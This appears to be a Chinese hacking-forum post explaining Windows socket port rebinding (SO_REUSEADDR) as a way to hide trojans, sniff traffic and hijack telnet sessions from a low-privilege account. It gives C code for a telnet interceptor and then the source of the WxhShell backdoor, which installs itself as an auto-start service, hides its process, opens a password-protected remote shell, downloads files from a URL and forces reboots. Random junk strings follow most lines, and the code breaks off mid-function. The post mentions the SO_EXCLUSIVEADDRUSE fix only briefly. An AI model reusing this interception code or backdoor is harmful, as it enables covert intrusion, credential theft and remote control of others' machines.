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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g9Yz*Nee<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ":nQgV\ 9  
A'%1ZQ33O  
  saddr.sin_family = AF_INET; ~M(5Ho  
_fwb!T}$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h/,${,}J  
JO@|*/mL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G\a8B#hg  
,<Q~b%(3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W'on$mB5<  
-D^}S"'  
  这意味着什么?意味着可以进行如下的攻击: 5IbJ  
UQ.7>Ug+8s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZlojbL@|4  
EutP\K_Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RO3oP1@B  
-!8(bjlJ&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _A~4NW{U7  
:#lIx%l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ${8?N:>t  
aBzszp]l+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @+WQ ^  
e hA;i.n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +L=*:e\j  
y8\S}E 0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >~\89E 02  
MJ\eh>v&  
  #include dCFlM&(i  
  #include ZY56\qcY  
  #include >dM8aJzC  
  #include    zY|klX})  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NOS>8sy  
  int main() )H}#A#ovj7  
  { SZ_V^UX_  
  WORD wVersionRequested; 1>Q'R  
  DWORD ret; &,.Y9; b  
  WSADATA wsaData; h},oF!,  
  BOOL val; U/NBFc:[y:  
  SOCKADDR_IN saddr; JO'>oFv_W  
  SOCKADDR_IN scaddr; c )7j QA  
  int err; :h1pBEiH  
  SOCKET s; LA[g(i 7  
  SOCKET sc; v~/~ @jv  
  int caddsize; d HJhFw  
  HANDLE mt; 9*:gr#(5  
  DWORD tid;   wIf {6z{  
  wVersionRequested = MAKEWORD( 2, 2 ); 9RwawTM  
  err = WSAStartup( wVersionRequested, &wsaData ); !SKV!xH9  
  if ( err != 0 ) { ;;)`c/$  
  printf("error!WSAStartup failed!\n"); {>bW>RO)  
  return -1; ="d*E/##  
  } 5%}wV,Y  
  saddr.sin_family = AF_INET; 1J? dK|% b  
   "EV!>^Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dC<LDxlv  
gf+d!c(/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iL7VFo:Q  
  saddr.sin_port = htons(23); bOI3^T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jn.C|9/mj  
  { }!TL2er_  
  printf("error!socket failed!\n"); xE-7P|2  
  return -1; %/.a]j!  
  } -@&1`@):{  
  val = TRUE; 6/ `.(fL1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4eH.9t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HvxJj+X9  
  { q_Lo3|t i  
  printf("error!setsockopt failed!\n"); X _$a,"'~)  
  return -1; jw ,izxia  
  } S. |FL%;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nNmsr=y5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =IKEb#R/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 },[;O^Do^{  
Pj?Dmk~   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H UWxPIu  
  { .C]cK%OO N  
  ret=GetLastError(); bY~@}gC**@  
  printf("error!bind failed!\n"); rx:z#"?I  
  return -1; !q"CV  
  } l\$ +7|W  
  listen(s,2); nIfCF,6,  
  while(1) [hRU&z;W  
  { :!zC"d9@  
  caddsize = sizeof(scaddr); Vc3mp;6"  
  //接受连接请求 gX5&d\y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s:y ^_W)d  
  if(sc!=INVALID_SOCKET) #&,H"?"  
  { rp7W }P+uU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VzlDHpG  
  if(mt==NULL) K^t?gt@k}  
  { +'oX  
  printf("Thread Creat Failed!\n"); IK^~X{I?  
  break; 7L:7/  
  } insY(.N  
  } +[ .Yy  
  CloseHandle(mt); W}'WA  
  } ?nKF6 f  
  closesocket(s); /\Q*MLwD  
  WSACleanup(); =wq;@'U  
  return 0; r(2 R <A  
  }   cyd~2\Kv~  
  DWORD WINAPI ClientThread(LPVOID lpParam) !~-6wN"k  
  { C0x "pO7  
  SOCKET ss = (SOCKET)lpParam; /OGA$eP  
  SOCKET sc; i z]rFNR  
  unsigned char buf[4096]; rSV gWr8  
  SOCKADDR_IN saddr; %zo= K}u  
  long num; l+y-Fo@  
  DWORD val; 34|a:5c  
  DWORD ret; 4-v6=gz.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5 ZfP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7k=fZ$+O  
  saddr.sin_family = AF_INET; m W`oq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J0220 _  
  saddr.sin_port = htons(23); z"F*\xa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Pb8YvG1$  
  { K \Eo z]?  
  printf("error!socket failed!\n"); {b!7 .Cd=  
  return -1; HT`1E0G8)  
  } oYM,8 K  
  val = 100; >E"9*:.^a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7]2 2"mc  
  { d @rs3Q1z  
  ret = GetLastError(); t"s5\;IJ  
  return -1; k<4P6?  
  } 19d6]pJ5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Xo 4q3  
  { $(HjI \%l^  
  ret = GetLastError(); ?$%%Mp(  
  return -1; RB3 zHk%  
  } yqSY9EX7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "2Op[~V  
  { 5^)_B;.f  
  printf("error!socket connect failed!\n"); qs=tJ ^<<o  
  closesocket(sc); (B`sQw@tu  
  closesocket(ss); Qu~*46?0  
  return -1; <`g3(?   
  } E(L<L1:"  
  while(1) @C.GKeM*  
  { E,*&BDW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aU<s<2 O)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &$ p[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /r.6XZs6  
  num = recv(ss,buf,4096,0); LP`CS849z2  
  if(num>0) PJ 9%/Nrh  
  send(sc,buf,num,0); 3x5!a5$Y  
  else if(num==0) RIhOR8 )  
  break; &2.+I go|G  
  num = recv(sc,buf,4096,0); C}CKnkMMD  
  if(num>0) _ 6:ww/  
  send(ss,buf,num,0); %cW;}Y[?P  
  else if(num==0) F=&;Y@t  
  break; 3q &k  
  } QB 77:E  
  closesocket(ss); t=dO  
  closesocket(sc); 8sw,k   
  return 0 ; HcJE0-"  
  } l C\E  
i7eI=f-Q  
W (& 6  
========================================================== !dv-8C$U  
+{rJ[J/g  
下边附上一个代码,,WXhSHELL am:.NG+  
8B@J Fpg^  
========================================================== #/WAzYt{  
A8dI:E+$  
#include "stdafx.h" =s[ &;B`s  
 Tb#  
#include <stdio.h> w:Q|?30  
#include <string.h> $A?}a  
#include <windows.h> En5!"w|j  
#include <winsock2.h> KU2$5[~j  
#include <winsvc.h> F";FG 0  
#include <urlmon.h> ="B n=>  
.5g}rxO8  
#pragma comment (lib, "Ws2_32.lib") 7c::Qf[|  
#pragma comment (lib, "urlmon.lib") !Z/$}xxj  
H`D f  
#define MAX_USER   100 // 最大客户端连接数 F!~l MpuE  
#define BUF_SOCK   200 // sock buffer )vHi|~(   
#define KEY_BUFF   255 // 输入 buffer V} bM!5 H  
3A R%&:-  
#define REBOOT     0   // 重启 ){tPP$-i=  
#define SHUTDOWN   1   // 关机 ]p$zvMf}  
\GHOg.P  
#define DEF_PORT   5000 // 监听端口 5<N~3 1z  
+k rFB?>`  
#define REG_LEN     16   // 注册表键长度 T}2:.Hk:N  
#define SVC_LEN     80   // NT服务名长度 ; J2-rh  
lO&cCV;  
// 从dll定义API eU~?p|Np  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ve%l({  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X>/K/M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &"AQ; %&N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L<)Z>@fR  
0P9Wy!f7  
// wxhshell配置信息 h[H%:743  
struct WSCFG { Ej|A ; &E  
  int ws_port;         // 监听端口 m0Z7N5v)  
  char ws_passstr[REG_LEN]; // 口令 "%kG RHq  
  int ws_autoins;       // 安装标记, 1=yes 0=no c * 1S}us  
  char ws_regname[REG_LEN]; // 注册表键名 R HXvee55  
  char ws_svcname[REG_LEN]; // 服务名 1"$R 3@s;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tDU}rI8?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M c@GH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )l{A{f6O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bbs5f@E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v Xf:~G]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xOM_R2Md  
08io<c,L  
}; *+~D+_,  
ZvyjMLf  
// default Wxhshell configuration ;o%:7 &  
struct WSCFG wscfg={DEF_PORT, %1Jd ^[W  
    "xuhuanlingzhe", #Gp M22d'(  
    1, TF)8qHy! u  
    "Wxhshell", LJ l1v  
    "Wxhshell", =~$U^IsWA  
            "WxhShell Service", /h-6CR Ka  
    "Wrsky Windows CmdShell Service", Hir(6Bt  
    "Please Input Your Password: ", (uT^Nn9L=  
  1, 4ac1m,Jlt  
  "http://www.wrsky.com/wxhshell.exe", 2*YP"Ryh  
  "Wxhshell.exe" :}y| 4*z  
    }; [,nfAY  
J=V yyUB  
// 消息定义模块 2 mq%|VG'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QqjTLuN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?N2X)Y@yi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /KP_Vc:g2_  
char *msg_ws_ext="\n\rExit."; b.,$# D{p  
char *msg_ws_end="\n\rQuit."; L"9 Gc  
char *msg_ws_boot="\n\rReboot..."; 7BK46x  
char *msg_ws_poff="\n\rShutdown..."; 776 nWw)  
char *msg_ws_down="\n\rSave to "; !*8#jy  
PAr|1i)mB  
char *msg_ws_err="\n\rErr!"; .f+9 A>  
char *msg_ws_ok="\n\rOK!"; mf~Lzp  
^ `E@/<w8  
char ExeFile[MAX_PATH]; sM0c#YK?  
int nUser = 0; Kv1vx*>  
HANDLE handles[MAX_USER]; <]c#)xg  
int OsIsNt; o6/Rx#A  
.&L^J&V  
SERVICE_STATUS       serviceStatus; ^^'[%ok  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Yd-m  
UXQb ={  
// 函数声明 &R0OeRToUb  
int Install(void); jvWI_Fto  
int Uninstall(void); LEA;dSf  
int DownloadFile(char *sURL, SOCKET wsh); &E`9>&~J  
int Boot(int flag); GP Ix@k  
void HideProc(void); tgK x4  
int GetOsVer(void); .oEFX8  
int Wxhshell(SOCKET wsl); EuLXtq  
void TalkWithClient(void *cs); A mvw`u>  
int CmdShell(SOCKET sock); 0|GpZuGO9  
int StartFromService(void); a2[ 8wv1  
int StartWxhshell(LPSTR lpCmdLine); $xQ"PJ2  
yX3PUO9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); phe"JNML  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IF& PGo  
G1p43  
// 数据结构和表定义 F"Uh/EO<  
SERVICE_TABLE_ENTRY DispatchTable[] = U~Xf=f_Q$  
{ !>q?dhw@  
{wscfg.ws_svcname, NTServiceMain}, R&#[6 r(h  
{NULL, NULL} sb`&bA;i  
}; P~o@9RV-  
N JXa_&_  
// 自我安装 :mzCeX8 *  
int Install(void) G^ K*+  
{ AmgWj/>  
  char svExeFile[MAX_PATH]; m&,bC)}  
  HKEY key; #!wsD7;  
  strcpy(svExeFile,ExeFile); m\1VF\  
~NA1SZ{Y+  
// 如果是win9x系统,修改注册表设为自启动 _jiQL66pY  
if(!OsIsNt) { m\/>C|f\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R9bhC9NP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <r0.ppgY  
  RegCloseKey(key); TLXhE(o|o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hyM'x*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F [r|Y-c]  
  RegCloseKey(key); 5FZ47m ~{Z  
  return 0; i1tVdbC]  
    } bx;yHIRb  
  } ?VUgwP_=  
} ,9F*96  
else { uAc@ Z-  
IPwj_jvw  
// 如果是NT以上系统,安装为系统服务 ZK%Kgk[\:~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sbs[=LW4  
if (schSCManager!=0) o?;F.W_  
{ `8mD7xsg$  
  SC_HANDLE schService = CreateService RfD{g"]y  
  ( fFjLp l  
  schSCManager, U0!^m1U:  
  wscfg.ws_svcname, 0`V3s]%iu  
  wscfg.ws_svcdisp, LG"c8Vv&)~  
  SERVICE_ALL_ACCESS, sg+ZQDF{x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \nrgAC-b  
  SERVICE_AUTO_START, =DGn,i9  
  SERVICE_ERROR_NORMAL, 44Q6vb?  
  svExeFile, '" ^ B&W  
  NULL, UwZu:[T6H  
  NULL, :U!'U;uQ  
  NULL, H&~5sEGa  
  NULL, ]z+*?cc  
  NULL ROPC |  
  ); =fL6uFmxI@  
  if (schService!=0) E]e, cd  
  { @TdQZZ}G\x  
  CloseServiceHandle(schService); v<{wA`'R+  
  CloseServiceHandle(schSCManager); A Z]P+v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dMey/A/VYt  
  strcat(svExeFile,wscfg.ws_svcname); pp*bqY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aJEbAs}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tniPEmeS  
  RegCloseKey(key); 8f /T!5  
  return 0; a v'd%LZP  
    } dDsjPM;2  
  } mrK,Ql  
  CloseServiceHandle(schSCManager); i_[^s:*T  
} ?SB[lbU  
}  $&ex\_W  
&oon'q5;  
return 1; IXbdS9,>F  
} x>U1t!'  
Pd)K^;em  
// 自我卸载 z\xiACIc  
int Uninstall(void) D?iy.Dg  
{ b*btkaVue  
  HKEY key; 2N L:\%wz  
>{phyByI  
if(!OsIsNt) { 6T R8D\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 83{x"G3>  
  RegDeleteValue(key,wscfg.ws_regname); 'LJ %.DJ  
  RegCloseKey(key); qf_h b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *37LN  
  RegDeleteValue(key,wscfg.ws_regname); "bHtf_  
  RegCloseKey(key); ~AEqfIx*^&  
  return 0; k7:GS,7  
  } &&]"Y!r -  
} =-OCM*5~S  
} t}5'(9  
else { "[%;B0J  
u5u0*c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?l)}E  
if (schSCManager!=0) ^Nd|+}  
{ dH ^b)G4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1<XiD 3H;  
  if (schService!=0) kA7~Yu5|  
  { c%q}"Y0oh  
  if(DeleteService(schService)!=0) { J0IdFFZ|w  
  CloseServiceHandle(schService); pb=jvK  
  CloseServiceHandle(schSCManager); <Cf7E  
  return 0; -_y~rx >  
  } t!J";l  
  CloseServiceHandle(schService); g28S3 '2  
  } 8L]gQ g  
  CloseServiceHandle(schSCManager); {B'Gm]4  
} &,m'sQ  
} I>< 99cwFI  
yRgDhA  
return 1; b5iIV1g  
} hN>('S-cq  
^BF@j4*~  
// 从指定url下载文件 wc<2Uc  
int DownloadFile(char *sURL, SOCKET wsh) ]7#^])>  
{ .fio<mqi  
  HRESULT hr; OhSt6&+  
char seps[]= "/"; X";QA":  
char *token; ^yn[QWFO  
char *file; '0'"k2"vC  
char myURL[MAX_PATH]; hW0,5>[7%  
char myFILE[MAX_PATH]; Ff)~clIK '  
H3 A]m~=3  
strcpy(myURL,sURL); C$N4   
  token=strtok(myURL,seps); '<R B  
  while(token!=NULL) V\iIvBpWg  
  { q;1VF;<"vH  
    file=token; oiTMP`Y  
  token=strtok(NULL,seps); )z ?&" I  
  } 902!M65[rG  
+Op%,,Db  
GetCurrentDirectory(MAX_PATH,myFILE); >)AE |j`  
strcat(myFILE, "\\"); vSyi}5D  
strcat(myFILE, file); NPB,q& Th  
  send(wsh,myFILE,strlen(myFILE),0); 8I5VrT  
send(wsh,"...",3,0); |1_$! p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w*&n(zJF>  
  if(hr==S_OK) <2o.,2?G  
return 0; g(@$uJ  
else P+*rWJ8gQ  
return 1; y]z)jqX<  
?1-n\ka  
} ="#:=i]  
Y\z^\k  
// 系统电源模块 ,p[\fT($]  
int Boot(int flag) nJ'>#9~a'>  
{ V'HlAQr  
  HANDLE hToken; #VQGN2bK.  
  TOKEN_PRIVILEGES tkp; '-nuH;r  
C$AIP\j- )  
  if(OsIsNt) { 3]:p!Y`$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); By51dk 7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S5*~r@8h  
    tkp.PrivilegeCount = 1; *0Wi^f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H}jK3;8E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1A`?y& Ll  
if(flag==REBOOT) { 6]@|7|N>X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fwnYzd3  
  return 0; dCoi>PO  
} ^B&ahk  
else { ^ RcIE (  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ery?G-  
  return 0; RF,=bOr19  
} 9d,]_l.sB  
  } |`q)/ 08b  
  else { ig.6[5a\  
if(flag==REBOOT) { pb/{ss+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rktn/Vi  
  return 0; <u x*r#a!d  
} /C,>  
else { |ZST Y}RXA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?|Q5]rhs  
  return 0; Vtz yB  
} .qqb> 7|q  
} \ ]kb&Qw  
Ye\*b? 6  
return 1; {g!exbVf  
} _Pfx_+  
#v~S",*.f  
// win9x进程隐藏模块 Q#J>vwi=  
void HideProc(void) >F\rBc&  
{ XTi0,e]5{u  
7n\j"0z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (4{@oM#H6  
  if ( hKernel != NULL ) oQ-|\?{;A  
  { hD6ur=G8u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a' >$88tl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E-tNB{r@  
    FreeLibrary(hKernel); +Qi52OG  
  } @8Q+=abz  
. tH35/r  
return; k`2B9,z  
} yZ?_q$4kEI  
y_7XYT!w  
// 获取操作系统版本 \\R*V'e!  
int GetOsVer(void) 0oi5]f6g?8  
{ \@PUljU]  
  OSVERSIONINFO winfo; 7QOC]:r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |bG[TOa  
  GetVersionEx(&winfo); N?mY|x\}wK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pRxlvVt  
  return 1; Q,,fDBN  
  else ko+M,kjwR  
  return 0; a`@<ZsR  
} jB/q1vFO  
X_tW#`  
// 客户端句柄模块 o+)LcoP u  
int Wxhshell(SOCKET wsl) (;Q <@PZg  
{ &6|^~(P?  
  SOCKET wsh; {HRxyAI!  
  struct sockaddr_in client; A^r [_dyZ  
  DWORD myID; 9tc@   
C!/8e (!N  
  while(nUser<MAX_USER) `i>B|g-  
{ Z_OqXo=  
  int nSize=sizeof(client); 9h,yb4jPP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vg [5bJ5  
  if(wsh==INVALID_SOCKET) return 1; ;aRWJG  
[[66[;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t6L^ #\'  
if(handles[nUser]==0) [@. jL0>  
  closesocket(wsh); ">D(+ xr!)  
else |Qt`p@W  
  nUser++; O'& \-j 1  
  } 1(;33),P8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YI),q.3X~  
l&^[cR  
  return 0;  _7j/[  
} 4Utx 9^  
#;*ai\6>vD  
// 关闭 socket 4Tzu"y  
void CloseIt(SOCKET wsh) ry'^1~,  
{ &A5[C{x  
closesocket(wsh); =<FZ{4  
nUser--; 3d)+44G_)  
ExitThread(0); {R{%Z  
} : .w'gU_  
]kplb0`  
// 客户端请求句柄 4;c_%=cU  
void TalkWithClient(void *cs) VY&9kN  
{ 85@6uBh  
8DS5<  
  SOCKET wsh=(SOCKET)cs; knK=ENf;e  
  char pwd[SVC_LEN]; n,Mw# r?y  
  char cmd[KEY_BUFF]; @%@^5  
char chr[1]; %{VI-CQ  
int i,j; %"KWjwp  
l-h7ksRs  
  while (nUser < MAX_USER) { "RJk7]p`*  
$5"-s]  
if(wscfg.ws_passstr) { J0WXH/:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^42=?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kFa?q} 47  
  //ZeroMemory(pwd,KEY_BUFF); eNC5' Z  
      i=0; Jp*AIj  
  while(i<SVC_LEN) { D>x'3WYR  
LYq2A,wm$  
  // 设置超时 "KT nX#<0  
  fd_set FdRead; tA u|8aL  
  struct timeval TimeOut; B?YfOSF=5  
  FD_ZERO(&FdRead); "vRqtEBO@  
  FD_SET(wsh,&FdRead); gMK3o8B/  
  TimeOut.tv_sec=8; #/v_ h6$  
  TimeOut.tv_usec=0; Tx?@* Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nPIR 1Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4!s k3Cw{  
e"H+sM26-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {)[g  
  pwd=chr[0]; Umwg iw  
  if(chr[0]==0xd || chr[0]==0xa) { ;o@`l$O   
  pwd=0; [c!vsh]^  
  break;  iIEIGQx  
  } ~ V- o{IA  
  i++; }]GK@nn7  
    } +p}Xmn  
"u]Fl+c  
  // 如果是非法用户,关闭 socket 8}0y)aJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wG[l9)lz  
} F5Q. Vh  
i\z0{;f|GX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PaeafL65=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pk]9.e1_  
Ay6rUN1ef  
while(1) { ?# c@Ag %  
qmyZbo|8&  
  ZeroMemory(cmd,KEY_BUFF); 9a Ps_|C  
!skWe~/  
      // 自动支持客户端 telnet标准   ]~M {@h!<  
  j=0; 257;@;  
  while(j<KEY_BUFF) { iR5soIR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E|uXi)!.x  
  cmd[j]=chr[0]; \*"0wR;[K  
  if(chr[0]==0xa || chr[0]==0xd) { 4sE=WPKF#  
  cmd[j]=0; F"#*8P  
  break; WIl S^?5I<  
  } J& SuUh<  
  j++; z}N^`_ *  
    } %7wzGtM]ps  
k#+^=F^)I  
  // 下载文件 cCKda3v!O  
  if(strstr(cmd,"http://")) { *ik)>c_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B=/=U7T  
  if(DownloadFile(cmd,wsh)) uOUw8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ae zXou&  
  else ';!UJWYl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "m)O13x  
  } .7Bav5 ;  
  else { %a^!~qV  
P3FpU<OBwp  
    switch(cmd[0]) { 2m}]z.w#  
  &|FG#.2yw  
  // 帮助 yXl.Gq>]{  
  case '?': { s/^= WV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3lgy X/?o  
    break; h4xdE 0  
  } 62'0)Cy^  
  // 安装 J@{ Bv%  
  case 'i': { (8F?yBu  
    if(Install()) s_?* R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,qh  
    else +mPB?5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }slEkpk? ]  
    break; '~=xP  
    } ky"7 ^  
  // 卸载 fb=vO U  
  case 'r': { l{ { #tW  
    if(Uninstall()) X KeK;+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w8Vzx8  
    else md_s2d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \aRB   
    break; ;G&O"S><]c  
    } ~i {)J  
  // 显示 wxhshell 所在路径 C>-"*Lt  
  case 'p': { &G,v*5N8$K  
    char svExeFile[MAX_PATH]; L7'n<$F  
    strcpy(svExeFile,"\n\r"); KiHAm|,  
      strcat(svExeFile,ExeFile);  7cQw?C  
        send(wsh,svExeFile,strlen(svExeFile),0); ECfY~qK  
    break; _\]UA?0  
    } cl8Mv  
  // 重启 ~t$VzL1  
  case 'b': { J sdEA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ../(gG9  
    if(Boot(REBOOT)) |'(IWU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h 'CLf]  
    else { SK2pOZN  
    closesocket(wsh); t/c^hTT  
    ExitThread(0); #Z5~a9rO  
    } "lMWSCas  
    break; #jR?C9&!(  
    } 6n4S$a  
  // 关机 \EqO;A%<  
  case 'd': { ,peFNpi  
